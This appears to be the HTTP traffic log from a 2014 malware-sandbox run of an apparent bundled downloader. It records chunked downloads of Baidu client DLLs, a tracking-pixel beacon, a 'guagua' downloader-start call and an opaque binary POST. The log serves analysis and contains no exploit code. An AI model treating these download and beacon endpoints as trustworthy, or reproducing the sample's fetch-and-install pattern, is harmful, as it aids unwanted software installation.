Pragma: no-cache<br><pre>GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:<br> Tengine..Date: Sun, 17 Aug 2014 02:21:26 GMT..Content-Type: image/gif<br>..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR<br>a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=pv92DG xUB<br>sCAcGK9OdTDULL; expires=Wed, 14-Aug-24 02:21:26 GMT; path=/; domain=.m<br>mstat.com..Set-Cookie: sca=c4e7e74b; path=/; domain=.cnzz.mmstat.com..<br>Set-Cookie: atpsida=a967ae7461eeb242201dd034_1408242086; expires=Wed, <br>14-Aug-24 02:21:26 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt<br>p://pcookie.cnzz.com/app.gif?&cna=pv92DG xUBsCAcGK9OdTDULL..Expires: T<br>hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach<br>e..GIF89a.............!.......,...........L..;..</pre></font><br><br

<font color="red">GET /tg_pic/1.png HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:32 GMT<br>

Content-Type: image/png<br>

Content-Length: 135179<br>

Last-Modified: Mon, 23 Dec 2013 03:08:13 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:34 GMT<br>

Content-Type: image/png<br>

Content-Length: 160224<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:36 GMT<br>

Content-Type: image/png<br>

Content-Length: 149164<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:38 GMT<br>

Content-Type: image/png<br>

Content-Length: 156314<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:40 GMT<br>

Content-Type: image/png<br>

Content-Length: 164337<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:25:41 GMT<br>

Content-Type: image/png<br>

Content-Length: 132296<br>

Last-Modified: Mon, 06 Jan 2014 08:23:44 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

<font color="red">GET /client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=753664-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:01:04 GMT<br>

Date: Sun, 10 Aug 2014 16:01:04 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Mon, 17 Jun 2013 13:07:38 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 753664-1207519/1207520<br>

Content-Length: 453856<br>

Age: 555567<br>

Via: 1.0 sdytwt88:88 (Cdn Cache Server V2.0), 1.0 tswt76:8104 (Cdn Cache Server V2.0), 1.0 jg13:10003 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=1081344-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 02 Sep 2014 13:53:19 GMT<br>

Date: Sun, 03 Aug 2014 13:53:19 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 1081344-1207519/1207520<br>

Content-Length: 126176<br>

Age: 1168032<br>

Via: 1.0 wzpy185:88 (Cdn Cache Server V2.0), 1.0 jg9:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=622592-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>

Date: Sun, 10 Aug 2014 15:52:20 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 622592-924495/924496<br>

Content-Length: 301904<br>

Age: 556088<br>

Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /support/mini/fyminiloader-min.js HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: static.m0dlcdn.kukuplay.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Type: application/x-javascript<br>

Last-Modified: Fri, 11 Jan 2013 07:55:33 GMT<br>

Expires: Thu, 31 Dec 2037 23:55:55 GMT<br>

Cache-Control: max-age=315360000<br>

Content-Encoding: gzip<br>

X-Via-Cache: sx<br>

Content-Length: 363<br>

Accept-Ranges: bytes<br>

Date: Sun, 17 Aug 2014 02:21:50 GMT<br>

X-Varnish: 697734456 662675323<br>

Age: 3427941<br>

Via: 1.1 varnish<br>

Connection: keep-alive<br>

X-cdn: sxcdn<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=6553600-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 19450704<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127201<br>

Content-Range: bytes 6553600-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=720896-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:29 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 203600<br>

Connection: close<br>

ETag: 44edff85d12e091f0b129f05a3f2a042<br>

Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:49 GMT<br>

Age: 127240<br>

Content-Range: bytes 720896-924495/924496<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>

x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>

x-bs-meta-crc32: 3569711378<br>

Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>

x-bs-client-ip: MTgwLjc2LjIyLjc1<br><pre>......................................................................<br>......................................................................<br>......................................................................<br>...... !"#$%&'()* ,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxy<br>z[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................<br>......................................................................<br>......................................................................<br>...........................................</pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=131072-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:41 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 25873232<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127202<br>

Content-Range: bytes 131072-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=458752-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>

Date: Sun, 10 Aug 2014 15:52:20 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 458752-924495/924496<br>

Content-Length: 465744<br>

Age: 556088<br>

Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 228<br>

Content-Type: application/octet-stream<br>

Host: s.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...p........" 228f74ad8138cf3f6e758ac75971083b(.28.G.k...v $(F.Cj...:....59......\....3V.%..5..2.c..`.E=~.8.@.H.P.X.` ...h.%h...C}.K{T\QZa.L.`. .P!..~...L.<..Vs..d."..v.<<..|'.f..>>..*E...........2........."S..,...N.$"....K....2</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 140<br><pre>...p........" 228f74ad8138cf3f6e758ac75971083b(.28.G.k...v $(F.Cj...:.<br>...59......\....3V.%..5..2.c..`.E=~.8.@.H.P.X.` .....%W............P.g<br>HTTP/1.1 200 OK..Server: iYuntianSvr..Content-Type: application/octet-<br>stream..Keep-Alive: timeout=30..Connection: Keep-Alive..Content-Length<br>: 140.....p........" 228f74ad8138cf3f6e758ac75971083b(.28.G.k...v $(F.<br>Cj...:....59......\....3V.%..5..2.c..`.E=~.8.@.H.P.X.` .....%W........<br>....P.g..</pre></font><br><br

<font color="red">GET /client/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=983040-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:02:45 GMT<br>

Date: Sun, 10 Aug 2014 16:02:45 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 15 May 2013 01:54:31 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 983040-1207519/1207520<br>

Content-Length: 224480<br>

Age: 555466<br>

Via: 1.0 fjqz153:8080 (Cdn Cache Server V2.0), 1.0 sdbz73:8104 (Cdn Cache Server V2.0), 1.0 shiben10:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=458752-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 458752-1207519/1207520<br>

Content-Length: 748768<br>

Age: 556070<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=458752-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 458752-1178447/1178448<br>

Content-Length: 719696<br>

Age: 556090<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=13107200-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 12897104<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127201<br>

Content-Range: bytes 13107200-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=622592-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 02 Sep 2014 13:53:19 GMT<br>

Date: Sun, 03 Aug 2014 13:53:19 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 622592-1207519/1207520<br>

Content-Length: 584928<br>

Age: 1168032<br>

Via: 1.0 wzpy185:88 (Cdn Cache Server V2.0), 1.0 jg9:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Tue, 02 Sep 2014 13:53:19 GMT<br>

Date: Sun, 03 Aug 2014 13:53:19 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 1207520<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 1168031<br>

Via: 1.0 wzpy185:88 (Cdn Cache Server V2.0), 1.0 jg9:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: cj.guagua.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:20:39 GMT<br>

Content-Length: 0<br>

Connection: keep-alive<br>

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"<br><pre>HTTP/1.1 200 OK..Server: nginx..Date: Sun, 17 Aug 2014 02:20:39 GMT..C<br>ontent-Length: 0..Connection: keep-alive..P3P: CP="CURa ADMa DEVa PSAo<br> PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..</pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=22675456-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:22 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 3328848<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127243<br>

Content-Range: bytes 22675456-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>

Date: Sun, 10 Aug 2014 15:52:20 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 924496<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 556087<br>

Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=21102592-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:11 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 4901712<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127232<br>

Content-Range: bytes 21102592-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /0403/help1.html HTTP/1.0<br>

